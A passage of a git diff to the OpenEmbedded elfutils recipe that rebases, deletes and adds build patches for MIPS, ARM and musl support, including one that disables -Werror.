- && iconv_open ("utf8", "eucJP") == (iconv_t)(-1))
- result |= 16;
-+#endif
- return result;
- }]])],
- [am_cv_func_iconv_works=yes],
diff --git a/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch b/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch
index 6f7956c5ae..8942ad7828 100644
--- a/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch
+++ b/meta/recipes-devtools/elfutils/files/0006-Fix-build-on-aarch64-musl.patch
@@ -1,4 +1,4 @@
-From 578f370c7e7a9f056aefa062b34590b0aa13bce5 Mon Sep 17 00:00:00 2001
+From 2396fd67d81e54e18fbad67a5ff67d5684a01013 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:27:30 +0800
Subject: [PATCH] Fix build on aarch64/musl
diff --git a/meta/recipes-devtools/elfutils/files/0007-Fix-control-path-where-we-have-str-as-uninitialized-.patch b/meta/recipes-devtools/elfutils/files/0007-Fix-control-path-where-we-have-str-as-uninitialized-.patch
deleted file mode 100644
index 611a24c0f5..0000000000
--- a/meta/recipes-devtools/elfutils/files/0007-Fix-control-path-where-we-have-str-as-uninitialized-.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 112d1645bab7922c7796fe32ddea8fa6e1bbded1 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 29 Jun 2018 15:14:28 +0800
-Subject: [PATCH] Fix control path where we have str as uninitialized string
-
-|
-/home/ubuntu/work/oe/openembedded-core/build/tmp-musl/work/i586-oe-linux-musl/elfutils/0.164-r0/elfutils-0.164/libcpu/i386_disasm.c:
-In function 'i386_disasm':
-|
-/home/ubuntu/work/oe/openembedded-core/build/tmp-musl/work/i586-oe-linux-musl/elfutils/0.164-r0/elfutils-0.164/libcpu/i386_disasm.c:310:5:
-error: 'str' may be used uninitialized in this function
-[-Werror=maybe-uninitialized]
-| memcpy (buf + bufcnt, _str, _len); \
-| ^
-|
-/home/ubuntu/work/oe/openembedded-core/build/tmp-musl/work/i586-oe-linux-musl/elfutils/0.164-r0/elfutils-0.164/libcpu/i386_disasm.c:709:17:
-note: 'str' was declared here
-| const char *str;
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Rebase to 0.172
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- libcpu/i386_disasm.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/libcpu/i386_disasm.c b/libcpu/i386_disasm.c
-index a7e03f9..837a3a8 100644
---- a/libcpu/i386_disasm.c
-+++ b/libcpu/i386_disasm.c
-@@ -821,6 +821,7 @@ i386_disasm (Ebl *ebl __attribute__((unused)),
- }
- FALLTHROUGH;
- default:
-+ str = "";
- assert (! "INVALID not handled");
- }
- }
diff --git a/meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch b/meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch
new file mode 100644
index 0000000000..9952070939
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch
@@ -0,0 +1,37 @@
+From 5e39da062929a60a07ddfc8b6d435ea65ea3e31f Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 22 Jun 2020 21:35:16 +0000
+Subject: [PATCH] config/eu.am: do not use -Werror
+
+Due to re-definition of error() on musl, gcc starts throwing
+errors where none happen with glibc. Since upstream is not
+likely to be interested in musl builds, lets just disable
+Werror.
+
+Upstream-Status: Inappropriate [oe core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ config/eu.am | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/config/eu.am b/config/eu.am
+index 58cd3c4..ac42390 100644
+--- a/config/eu.am
++++ b/config/eu.am
+@@ -91,7 +91,6 @@ AM_CFLAGS = -std=gnu99 -Wall -Wshadow -Wformat=2 \
+ -Wold-style-definition -Wstrict-prototypes $(TRAMPOLINES_WARNING) \
+ $(LOGICAL_OP_WARNING) $(DUPLICATED_COND_WARNING) \
+ $(NULL_DEREFERENCE_WARNING) $(IMPLICIT_FALLTHROUGH_WARNING) \
+- $(if $($(*F)_no_Werror),,-Werror) \
+ $(if $($(*F)_no_Wunused),,-Wunused -Wextra) \
+ $(if $($(*F)_no_Wstack_usage),,$(STACK_USAGE_WARNING)) \
+ $(if $($(*F)_no_Wpacked_not_aligned),$(NO_PACKED_NOT_ALIGNED_WARNING),) \
+@@ -101,7 +100,6 @@ AM_CXXFLAGS = -std=c++11 -Wall -Wshadow \
+ $(TRAMPOLINES_WARNING) \
+ $(LOGICAL_OP_WARNING) $(DUPLICATED_COND_WARNING) \
+ $(NULL_DEREFERENCE_WARNING) $(IMPLICIT_FALLTHROUGH_WARNING) \
+- $(if $($(*F)_no_Werror),,-Werror) \
+ $(if $($(*F)_no_Wunused),,-Wunused -Wextra) \
+ $(if $($(*F)_no_Wstack_usage),,$(STACK_USAGE_WARNING)) \
+ $(if $($(*F)_no_Wpacked_not_aligned),$(NO_PACKED_NOT_ALIGNED_WARNING),) \
diff --git a/meta/recipes-devtools/elfutils/files/debian/0001-Ignore-differences-between-mips-machine-identifiers.patch b/meta/recipes-devtools/elfutils/files/debian/0001-Ignore-differences-between-mips-machine-identifiers.patch
deleted file mode 100644
index a2983c5770..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/0001-Ignore-differences-between-mips-machine-identifiers.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 77cb4a53c270d5854d3af24f19547bc3de825233 Mon Sep 17 00:00:00 2001
-From: James Cowgill <james410@cowgill.org.uk>
-Date: Mon, 5 Jan 2015 15:16:58 +0000
-Subject: [PATCH 1/3] Ignore differences between mips machine identifiers
-
-Little endian binaries actually use EM_MIPS so you can't tell the endianness
-from the elf machine id. Also, the EM_MIPS_RS3_LE machine is dead anyway (the
-kernel will not load binaries containing it).
-
-Signed-off-by: James Cowgill <james410@cowgill.org.uk>
-
-Upstream-Status: Pending [from debian]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- backends/mips_init.c | 6 +-----
- 1 file changed, 1 insertion(+), 5 deletions(-)
-
-Index: b/backends/mips_init.c
-===================================================================
---- a/backends/mips_init.c
-+++ b/backends/mips_init.c
-@@ -45,11 +45,7 @@ mips_init (Elf *elf __attribute__ ((unus
- return NULL;
-
- /* We handle it. */
-- if (machine == EM_MIPS)
-- eh->name = "MIPS R3000 big-endian";
-- else if (machine == EM_MIPS_RS3_LE)
-- eh->name = "MIPS R3000 little-endian";
--
-+ eh->name = "MIPS";
- mips_init_reloc (eh);
- HOOK (eh, reloc_simple_type);
- HOOK (eh, return_value_location);
diff --git a/meta/recipes-devtools/elfutils/files/debian/0001-fix-compile-failure-with-debian-patches.patch b/meta/recipes-devtools/elfutils/files/debian/0001-fix-compile-failure-with-debian-patches.patch
deleted file mode 100644
index 19a2015062..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/0001-fix-compile-failure-with-debian-patches.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 3f3e7b16934ec58ab47d2bdc9982f54a55b07534 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 21 Aug 2019 16:25:33 +0800
-Subject: [PATCH] fix compile failure with debian patches
-
-While applying debian patches, there is a compile failure
-...
-elfutils-0.177/backends/mips_init.c:48:5: error: 'Ebl' {aka 'struct ebl'} has no member named 'name'
-...
-
-Since upstream applied commit [b323391 libdwelf: Add dwelf_elf_e_machine_string
-and use it in readelf], it remove 'name' from 'struct ebl'
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- backends/mips_init.c | 1 -
- backends/parisc_init.c | 1 -
- 2 files changed, 2 deletions(-)
-
-diff --git a/backends/mips_init.c b/backends/mips_init.c
-index bce5abe..e1c65c8 100644
---- a/backends/mips_init.c
-+++ b/backends/mips_init.c
-@@ -45,7 +45,6 @@ mips_init (Elf *elf __attribute__ ((unused)),
- return NULL;
-
- /* We handle it. */
-- eh->name = "MIPS";
- mips_init_reloc (eh);
- HOOK (eh, reloc_simple_type);
- HOOK (eh, return_value_location);
-diff --git a/backends/parisc_init.c b/backends/parisc_init.c
-index f1e401c..97b4a8c 100644
---- a/backends/parisc_init.c
-+++ b/backends/parisc_init.c
-@@ -56,7 +56,6 @@ parisc_init (Elf *elf __attribute__ ((unused)),
- pa64 = 1;
- }
- /* We handle it. */
-- eh->name = "PA-RISC";
- parisc_init_reloc (eh);
- HOOK (eh, reloc_simple_type);
- HOOK (eh, machine_flag_check);
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/debian/0002-Add-support-for-mips64-abis-in-mips_retval.c.patch b/meta/recipes-devtools/elfutils/files/debian/0002-Add-support-for-mips64-abis-in-mips_retval.c.patch
deleted file mode 100644
index aee00cba14..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/0002-Add-support-for-mips64-abis-in-mips_retval.c.patch
+++ /dev/null
@@ -1,171 +0,0 @@
-From fdaab18a65ed2529656baa64cb6169f34d7e507b Mon Sep 17 00:00:00 2001
-From: James Cowgill <james410@cowgill.org.uk>
-Date: Mon, 5 Jan 2015 15:17:01 +0000
-Subject: [PATCH 2/3] Add support for mips64 abis in mips_retval.c
-
-Signed-off-by: James Cowgill <james410@cowgill.org.uk>
-
-Upstream-Status: Pending [from debian]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- backends/mips_retval.c | 104 ++++++++++++++++++++++++++++++++++++++++++++-----
- 1 file changed, 94 insertions(+), 10 deletions(-)
-
-diff --git a/backends/mips_retval.c b/backends/mips_retval.c
-index 33f12a7..d5c6ef0 100644
---- a/backends/mips_retval.c
-+++ b/backends/mips_retval.c
-@@ -91,6 +91,8 @@ enum mips_abi find_mips_abi(Elf *elf)
- default:
- if ((elf_flags & EF_MIPS_ABI2))
- return MIPS_ABI_N32;
-+ else if ((ehdr->e_ident[EI_CLASS] == ELFCLASS64))
-+ return MIPS_ABI_N64;
- }
-
- /* GCC creates a pseudo-section whose name describes the ABI. */
-@@ -195,6 +197,57 @@ static const Dwarf_Op loc_aggregate[] =
- };
- #define nloc_aggregate 1
-
-+/* Test if a struct member is a float */
-+static int is_float_child(Dwarf_Die *childdie)
-+{
-+ /* Test if this is actually a struct member */
-+ if (dwarf_tag(childdie) != DW_TAG_member)
-+ return 0;
-+
-+ /* Get type of member */
-+ Dwarf_Attribute attr_mem;
-+ Dwarf_Die child_type_mem;
-+ Dwarf_Die *child_typedie =
-+ dwarf_formref_die(dwarf_attr_integrate(childdie,
-+ DW_AT_type,
-+ &attr_mem), &child_type_mem);
-+
-+ if (dwarf_tag(child_typedie) != DW_TAG_base_type)
-+ return 0;
-+
-+ /* Get base subtype */
-+ Dwarf_Word encoding;
-+ if (dwarf_formudata (dwarf_attr_integrate (child_typedie,
-+ DW_AT_encoding,
-+ &attr_mem), &encoding) != 0)
-+ return 0;
-+
-+ return encoding == DW_ATE_float;
-+}
-+
-+/* Returns the number of fpregs which can be returned in the given struct */
-+static int get_struct_fpregs(Dwarf_Die *structtypedie)
-+{
-+ Dwarf_Die child_mem;
-+ int fpregs = 0;
-+
-+ /* Get first structure member */
-+ if (dwarf_child(structtypedie, &child_mem) != 0)
-+ return 0;
-+
-+ do
-+ {
-+ /* Ensure this register is a float */
-+ if (!is_float_child(&child_mem))
-+ return 0;
-+
-+ fpregs++;
-+ }
-+ while (dwarf_siblingof (&child_mem, &child_mem) == 0);
-+
-+ return fpregs;
-+}
-+
- int
- mips_return_value_location (Dwarf_Die *functypedie, const Dwarf_Op **locp)
- {
-@@ -240,6 +293,7 @@ mips_return_value_location (Dwarf_Die *functypedie, const Dwarf_Op **locp)
- tag = dwarf_tag (typedie);
- }
-
-+ Dwarf_Word size;
- switch (tag)
- {
- case -1:
-@@ -258,8 +312,6 @@ mips_return_value_location (Dwarf_Die *functypedie, const Dwarf_Op **locp)
- case DW_TAG_enumeration_type:
- case DW_TAG_pointer_type:
- case DW_TAG_ptr_to_member_type:
-- {
-- Dwarf_Word size;
- if (dwarf_formudata (dwarf_attr_integrate (typedie, DW_AT_byte_size,
- &attr_mem), &size) != 0)
- {
-@@ -289,7 +341,7 @@ mips_return_value_location (Dwarf_Die *functypedie, const Dwarf_Op **locp)
- if (size <= 4*regsize && abi == MIPS_ABI_O32)
- return nloc_fpregquad;
-
-- goto aggregate;
-+ goto large;
- }
- }
- *locp = ABI_LOC(loc_intreg, regsize);
-@@ -298,18 +350,50 @@ mips_return_value_location (Dwarf_Die *functypedie, const Dwarf_Op **locp)
- if (size <= 2*regsize)
- return nloc_intregpair;
-
-- /* Else fall through. Shouldn't happen though (at least with gcc) */
-- }
-+ /* Else pass in memory. Shouldn't happen though (at least with gcc) */
-+ goto large;
-
- case DW_TAG_structure_type:
- case DW_TAG_class_type:
- case DW_TAG_union_type:
-- case DW_TAG_array_type:
-- aggregate:
-- /* XXX TODO: Can't handle structure return with other ABI's yet :-/ */
-- if ((abi != MIPS_ABI_O32) && (abi != MIPS_ABI_O64))
-- return -2;
-+ /* Handle special cases for structures <= 128 bytes in newer ABIs */
-+ if (abi == MIPS_ABI_EABI32 || abi == MIPS_ABI_EABI64 ||
-+ abi == MIPS_ABI_N32 || abi == MIPS_ABI_N64)
-+ {
-+ if (dwarf_aggregate_size (typedie, &size) == 0 && size <= 16)
-+ {
-+ /*
-+ * Special case in N64 / N32 -
-+ * structures containing only floats are returned in fp regs.
-+ * Everything else is returned in integer regs.
-+ */
-+ if (tag != DW_TAG_union_type &&
-+ (abi == MIPS_ABI_N32 || abi == MIPS_ABI_N64))
-+ {
-+ int num_fpregs = get_struct_fpregs(typedie);
-+ if (num_fpregs == 1 || num_fpregs == 2)
-+ {
-+ *locp = loc_fpreg;
-+ if (num_fpregs == 1)
-+ return nloc_fpreg;
-+ else
-+ return nloc_fpregpair;
-+ }
-+ }
-+
-+ *locp = loc_intreg;
-+ if (size <= 8)
-+ return nloc_intreg;
-+ else
-+ return nloc_intregpair;
-+ }
-+ }
-+
-+ /* Fallthrough to handle large types */
-
-+ case DW_TAG_array_type:
-+ large:
-+ /* Return large structures in memory */
- *locp = loc_aggregate;
- return nloc_aggregate;
- }
---
-2.1.4
-
diff --git a/meta/recipes-devtools/elfutils/files/debian/0003-Add-mips-n64-relocation-format-hack.patch b/meta/recipes-devtools/elfutils/files/debian/0003-Add-mips-n64-relocation-format-hack.patch
deleted file mode 100644
index c949e96533..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/0003-Add-mips-n64-relocation-format-hack.patch
+++ /dev/null
@@ -1,229 +0,0 @@
-From 59d4b8c48e5040af7e02b34eb26ea602ec82a38e Mon Sep 17 00:00:00 2001
-From: James Cowgill <james410@cowgill.org.uk>
-Date: Mon, 5 Jan 2015 15:17:02 +0000
-Subject: [PATCH 3/3] Add mips n64 relocation format hack
-
-MIPSEL N64 ELF files use a slightly different format for storing relocation
-entries which is incompatible with the normal R_SYM / R_INFO macros.
-To workaround this, we rearrange the bytes in the relocation's r_info field
-when reading and writing the relocations.
-
-This patch also ensures that strip.c sets the correct value of e_machine
-before manipulating relocations so that these changes take effect.
-
-Signed-off-by: James Cowgill <james410@cowgill.org.uk>
-
-Upstream-Status: Pending [from debian]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- libelf/gelf_getrel.c | 25 +++++++++++++++++++++++--
- libelf/gelf_getrela.c | 25 +++++++++++++++++++++++--
- libelf/gelf_update_rel.c | 20 +++++++++++++++++++-
- libelf/gelf_update_rela.c | 20 +++++++++++++++++++-
- src/strip.c | 17 +++++++++++++++++
- 5 files changed, 101 insertions(+), 6 deletions(-)
-
-Index: elfutils-0.175/libelf/gelf_getrel.c
-===================================================================
---- elfutils-0.175.orig/libelf/gelf_getrel.c
-+++ elfutils-0.175/libelf/gelf_getrel.c
-@@ -36,6 +36,7 @@
-
- #include "libelfP.h"
-
-+#define EF_MIPS_ABI 0x0000F000
-
- GElf_Rel *
- gelf_getrel (Elf_Data *data, int ndx, GElf_Rel *dst)
-@@ -89,8 +90,28 @@ gelf_getrel (Elf_Data *data, int ndx, GE
- result = NULL;
- }
- else
-- result = memcpy (dst, &((Elf64_Rel *) data_scn->d.d_buf)[ndx],
-- sizeof (Elf64_Rel));
-+ {
-+ GElf_Ehdr hdr;
-+ result = memcpy (dst, &((Elf64_Rel *) data_scn->d.d_buf)[ndx],
-+ sizeof (Elf64_Rel));
-+
-+ if (gelf_getehdr(scn->elf, &hdr) != NULL &&
-+ hdr.e_ident[EI_DATA] == ELFDATA2LSB &&
-+ hdr.e_machine == EM_MIPS &&
-+ (hdr.e_flags & EF_MIPS_ABI) == 0)
-+ {
-+ /*
-+ * The relocation format is mangled on MIPSEL N64
-+ * We'll adjust it so at least R_SYM will work on it
-+ */
-+ GElf_Xword r_info = dst->r_info;
-+ dst->r_info = (r_info << 32) |
-+ ((r_info >> 8) & 0xFF000000) |
-+ ((r_info >> 24) & 0x00FF0000) |
-+ ((r_info >> 40) & 0x0000FF00) |
-+ ((r_info >> 56) & 0x000000FF);
-+ }
-+ }
- }
-
- rwlock_unlock (scn->elf->lock);
-Index: elfutils-0.175/libelf/gelf_getrela.c
-===================================================================
---- elfutils-0.175.orig/libelf/gelf_getrela.c
-+++ elfutils-0.175/libelf/gelf_getrela.c
-@@ -36,6 +36,7 @@
-
- #include "libelfP.h"
-
-+#define EF_MIPS_ABI 0x0000F000
-
- GElf_Rela *
- gelf_getrela (Elf_Data *data, int ndx, GElf_Rela *dst)
-@@ -90,8 +91,28 @@ gelf_getrela (Elf_Data *data, int ndx, G
- result = NULL;
- }
- else
-- result = memcpy (dst, &((Elf64_Rela *) data_scn->d.d_buf)[ndx],
-- sizeof (Elf64_Rela));
-+ {
-+ GElf_Ehdr hdr;
-+ result = memcpy (dst, &((Elf64_Rela *) data_scn->d.d_buf)[ndx],
-+ sizeof (Elf64_Rela));
-+
-+ if (gelf_getehdr(scn->elf, &hdr) != NULL &&
-+ hdr.e_ident[EI_DATA] == ELFDATA2LSB &&
-+ hdr.e_machine == EM_MIPS &&
-+ (hdr.e_flags & EF_MIPS_ABI) == 0)
-+ {
-+ /*
-+ * The relocation format is mangled on MIPSEL N64
-+ * We'll adjust it so at least R_SYM will work on it
-+ */
-+ GElf_Xword r_info = dst->r_info;
-+ dst->r_info = (r_info << 32) |
-+ ((r_info >> 8) & 0xFF000000) |
-+ ((r_info >> 24) & 0x00FF0000) |
-+ ((r_info >> 40) & 0x0000FF00) |
-+ ((r_info >> 56) & 0x000000FF);
-+ }
-+ }
- }
-
- rwlock_unlock (scn->elf->lock);
-Index: elfutils-0.175/libelf/gelf_update_rel.c
-===================================================================
---- elfutils-0.175.orig/libelf/gelf_update_rel.c
-+++ elfutils-0.175/libelf/gelf_update_rel.c
-@@ -36,6 +36,7 @@
-
- #include "libelfP.h"
-
-+#define EF_MIPS_ABI 0x0000F000
-
- int
- gelf_update_rel (Elf_Data *dst, int ndx, GElf_Rel *src)
-@@ -86,6 +87,9 @@ gelf_update_rel (Elf_Data *dst, int ndx,
- }
- else
- {
-+ GElf_Ehdr hdr;
-+ GElf_Rel value = *src;
-+
- /* Check whether we have to resize the data buffer. */
- if (INVALID_NDX (ndx, Elf64_Rel, &data_scn->d))
- {
-@@ -93,7 +97,21 @@ gelf_update_rel (Elf_Data *dst, int ndx,
- goto out;
- }
-
-- ((Elf64_Rel *) data_scn->d.d_buf)[ndx] = *src;
-+ if (gelf_getehdr(scn->elf, &hdr) != NULL &&
-+ hdr.e_ident[EI_DATA] == ELFDATA2LSB &&
-+ hdr.e_machine == EM_MIPS &&
-+ (hdr.e_flags & EF_MIPS_ABI) == 0)
-+ {
-+ /* Undo the MIPSEL N64 hack from gelf_getrel */
-+ GElf_Xword r_info = value.r_info;
-+ value.r_info = (r_info >> 32) |
-+ ((r_info << 8) & 0x000000FF00000000) |
-+ ((r_info << 24) & 0x0000FF0000000000) |
-+ ((r_info << 40) & 0x00FF000000000000) |
-+ ((r_info << 56) & 0xFF00000000000000);
-+ }
-+
-+ ((Elf64_Rel *) data_scn->d.d_buf)[ndx] = value;
- }
-
- result = 1;
-Index: elfutils-0.175/libelf/gelf_update_rela.c
-===================================================================
---- elfutils-0.175.orig/libelf/gelf_update_rela.c
-+++ elfutils-0.175/libelf/gelf_update_rela.c
-@@ -36,6 +36,7 @@
-
- #include "libelfP.h"
-
-+#define EF_MIPS_ABI 0x0000F000
-
- int
- gelf_update_rela (Elf_Data *dst, int ndx, GElf_Rela *src)
-@@ -89,6 +90,9 @@ gelf_update_rela (Elf_Data *dst, int ndx
- }
- else
- {
-+ GElf_Ehdr hdr;
-+ GElf_Rela value = *src;
-+
- /* Check whether we have to resize the data buffer. */
- if (INVALID_NDX (ndx, Elf64_Rela, &data_scn->d))
- {
-@@ -96,7 +100,21 @@ gelf_update_rela (Elf_Data *dst, int ndx
- goto out;
- }
-
-- ((Elf64_Rela *) data_scn->d.d_buf)[ndx] = *src;
-+ if (gelf_getehdr(scn->elf, &hdr) != NULL &&
-+ hdr.e_ident[EI_DATA] == ELFDATA2LSB &&
-+ hdr.e_machine == EM_MIPS &&
-+ (hdr.e_flags & EF_MIPS_ABI) == 0)
-+ {
-+ /* Undo the MIPSEL N64 hack from gelf_getrel */
-+ GElf_Xword r_info = value.r_info;
-+ value.r_info = (r_info >> 32) |
-+ ((r_info << 8) & 0x000000FF00000000) |
-+ ((r_info << 24) & 0x0000FF0000000000) |
-+ ((r_info << 40) & 0x00FF000000000000) |
-+ ((r_info << 56) & 0xFF00000000000000);
-+ }
-+
-+ ((Elf64_Rela *) data_scn->d.d_buf)[ndx] = value;
- }
-
- result = 1;
-Index: elfutils-0.175/src/strip.c
-===================================================================
---- elfutils-0.175.orig/src/strip.c
-+++ elfutils-0.175/src/strip.c
-@@ -1062,6 +1062,23 @@ handle_elf (int fd, Elf *elf, const char
- goto fail;
- }
-
-+ /* Copy identity part of the ELF header now */
-+ newehdr = gelf_getehdr (newelf, &newehdr_mem);
-+ if (newehdr == NULL)
-+ INTERNAL_ERROR (fname);
-+
-+ memcpy (newehdr->e_ident, ehdr->e_ident, EI_NIDENT);
-+ newehdr->e_type = ehdr->e_type;
-+ newehdr->e_machine = ehdr->e_machine;
-+ newehdr->e_version = ehdr->e_version;
-+
-+ if (gelf_update_ehdr (newelf, newehdr) == 0)
-+ {
-+ error (0, 0, gettext ("%s: error while creating ELF header: %s"),
-+ fname, elf_errmsg (-1));
-+ return 1;
-+ }
-+
- /* Copy over the old program header if needed. */
- if (phnum > 0)
- {
diff --git a/meta/recipes-devtools/elfutils/files/debian/arm_backend.diff b/meta/recipes-devtools/elfutils/files/debian/arm_backend.diff
deleted file mode 100644
index ba0ce33bd4..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/arm_backend.diff
+++ /dev/null
@@ -1,624 +0,0 @@
-From 4e6fededb3d8c90694c44214c862ac216a69ecae Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 21 Aug 2019 16:50:33 +0800
-Subject: [PATCH] arm_backend
-
-Upstream-Status: Pending [from debian]
-Rebase to 0.177
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- backends/arm_init.c | 18 ++++-
- backends/arm_regs.c | 132 ++++++++++++++++++++++++++++++++++++
- backends/arm_retval.c | 43 +++++++++++-
- backends/libebl_arm.h | 9 +++
- libelf/elf.h | 11 +++
- tests/run-addrcfi.sh | 93 ++++++++++++++++++++++++-
- tests/run-allregs.sh | 95 +++++++++++++++++++++++++-
- tests/run-readelf-mixed-corenote.sh | 11 ++-
- 8 files changed, 400 insertions(+), 12 deletions(-)
- create mode 100644 backends/libebl_arm.h
-
-diff --git a/backends/arm_init.c b/backends/arm_init.c
-index af023f0..ea2bcb7 100644
---- a/backends/arm_init.c
-+++ b/backends/arm_init.c
-@@ -35,20 +35,31 @@
- #define RELOC_PREFIX R_ARM_
- #include "libebl_CPU.h"
-
-+#include "libebl_arm.h"
-+
- /* This defines the common reloc hooks based on arm_reloc.def. */
- #include "common-reloc.c"
-
-
- const char *
--arm_init (Elf *elf __attribute__ ((unused)),
-+arm_init (Elf *elf,
- GElf_Half machine __attribute__ ((unused)),
- Ebl *eh,
- size_t ehlen)
- {
-+ int soft_float = 0;
-+
- /* Check whether the Elf_BH object has a sufficent size. */
- if (ehlen < sizeof (Ebl))
- return NULL;
-
-+ if (elf) {
-+ GElf_Ehdr ehdr_mem;
-+ GElf_Ehdr *ehdr = gelf_getehdr (elf, &ehdr_mem);
-+ if (ehdr && (ehdr->e_flags & EF_ARM_SOFT_FLOAT))
-+ soft_float = 1;
-+ }
-+
- /* We handle it. */
- arm_init_reloc (eh);
- HOOK (eh, segment_type_name);
-@@ -59,7 +70,10 @@ arm_init (Elf *elf __attribute__ ((unused)),
- HOOK (eh, core_note);
- HOOK (eh, auxv_info);
- HOOK (eh, check_object_attribute);
-- HOOK (eh, return_value_location);
-+ if (soft_float)
-+ eh->return_value_location = arm_return_value_location_soft;
-+ else
-+ eh->return_value_location = arm_return_value_location_hard;
- HOOK (eh, abi_cfi);
- HOOK (eh, check_reloc_target_type);
- HOOK (eh, symbol_type_name);
-diff --git a/backends/arm_regs.c b/backends/arm_regs.c
-index a46a4c9..418c931 100644
---- a/backends/arm_regs.c
-+++ b/backends/arm_regs.c
-@@ -31,6 +31,7 @@
- #endif
-
- #include <string.h>
-+#include <stdio.h>
- #include <dwarf.h>
-
- #define BACKEND arm_
-@@ -76,6 +77,9 @@ arm_register_info (Ebl *ebl __attribute__ ((unused)),
- break;
-
- case 16 + 0 ... 16 + 7:
-+ /* AADWARF says that there are no registers in that range,
-+ * but gcc maps FPA registers here
-+ */
- regno += 96 - 16;
- FALLTHROUGH;
- case 96 + 0 ... 96 + 7:
-@@ -87,11 +91,139 @@ arm_register_info (Ebl *ebl __attribute__ ((unused)),
- namelen = 2;
- break;
-
-+ case 64 + 0 ... 64 + 9:
-+ *setname = "VFP";
-+ *bits = 32;
-+ *type = DW_ATE_float;
-+ name[0] = 's';
-+ name[1] = regno - 64 + '0';
-+ namelen = 2;
-+ break;
-+
-+ case 64 + 10 ... 64 + 31:
-+ *setname = "VFP";
-+ *bits = 32;
-+ *type = DW_ATE_float;
-+ name[0] = 's';
-+ name[1] = (regno - 64) / 10 + '0';
-+ name[2] = (regno - 64) % 10 + '0';
-+ namelen = 3;
-+ break;
-+
-+ case 104 + 0 ... 104 + 7:
-+ /* XXX TODO:
-+ * This can be either intel wireless MMX general purpose/control
-+ * registers or xscale accumulator, which have different usage.
-+ * We only have the intel wireless MMX here now.
-+ * The name needs to be changed for the xscale accumulator too. */
-+ *setname = "MMX";
-+ *type = DW_ATE_unsigned;
-+ *bits = 32;
-+ memcpy(name, "wcgr", 4);
-+ name[4] = regno - 104 + '0';
-+ namelen = 5;
-+ break;
-+
-+ case 112 + 0 ... 112 + 9:
-+ *setname = "MMX";
-+ *type = DW_ATE_unsigned;
-+ *bits = 64;
-+ name[0] = 'w';
-+ name[1] = 'r';
-+ name[2] = regno - 112 + '0';
-+ namelen = 3;
-+ break;
-+
-+ case 112 + 10 ... 112 + 15:
-+ *setname = "MMX";
-+ *type = DW_ATE_unsigned;
-+ *bits = 64;
-+ name[0] = 'w';
-+ name[1] = 'r';
-+ name[2] = '1';
-+ name[3] = regno - 112 - 10 + '0';
-+ namelen = 4;
-+ break;
-+
- case 128:
-+ *setname = "state";
- *type = DW_ATE_unsigned;
- return stpcpy (name, "spsr") + 1 - name;
-
-+ case 129:
-+ *setname = "state";
-+ *type = DW_ATE_unsigned;
-+ return stpcpy(name, "spsr_fiq") + 1 - name;
-+
-+ case 130:
-+ *setname = "state";
-+ *type = DW_ATE_unsigned;
-+ return stpcpy(name, "spsr_irq") + 1 - name;
-+
-+ case 131:
-+ *setname = "state";
-+ *type = DW_ATE_unsigned;
-+ return stpcpy(name, "spsr_abt") + 1 - name;
-+
-+ case 132:
-+ *setname = "state";
-+ *type = DW_ATE_unsigned;
-+ return stpcpy(name, "spsr_und") + 1 - name;
-+
-+ case 133:
-+ *setname = "state";
-+ *type = DW_ATE_unsigned;
-+ return stpcpy(name, "spsr_svc") + 1 - name;
-+
-+ case 144 ... 150:
-+ *setname = "integer";
-+ *type = DW_ATE_signed;
-+ *bits = 32;
-+ return sprintf(name, "r%d_usr", regno - 144 + 8) + 1;
-+
-+ case 151 ... 157:
-+ *setname = "integer";
-+ *type = DW_ATE_signed;
-+ *bits = 32;
-+ return sprintf(name, "r%d_fiq", regno - 151 + 8) + 1;
-+
-+ case 158 ... 159:
-+ *setname = "integer";
-+ *type = DW_ATE_signed;
-+ *bits = 32;
-+ return sprintf(name, "r%d_irq", regno - 158 + 13) + 1;
-+
-+ case 160 ... 161:
-+ *setname = "integer";
-+ *type = DW_ATE_signed;
-+ *bits = 32;
-+ return sprintf(name, "r%d_abt", regno - 160 + 13) + 1;
-+
-+ case 162 ... 163:
-+ *setname = "integer";
-+ *type = DW_ATE_signed;
-+ *bits = 32;
-+ return sprintf(name, "r%d_und", regno - 162 + 13) + 1;
-+
-+ case 164 ... 165:
-+ *setname = "integer";
-+ *type = DW_ATE_signed;
-+ *bits = 32;
-+ return sprintf(name, "r%d_svc", regno - 164 + 13) + 1;
-+
-+ case 192 ... 199:
-+ *setname = "MMX";
-+ *bits = 32;
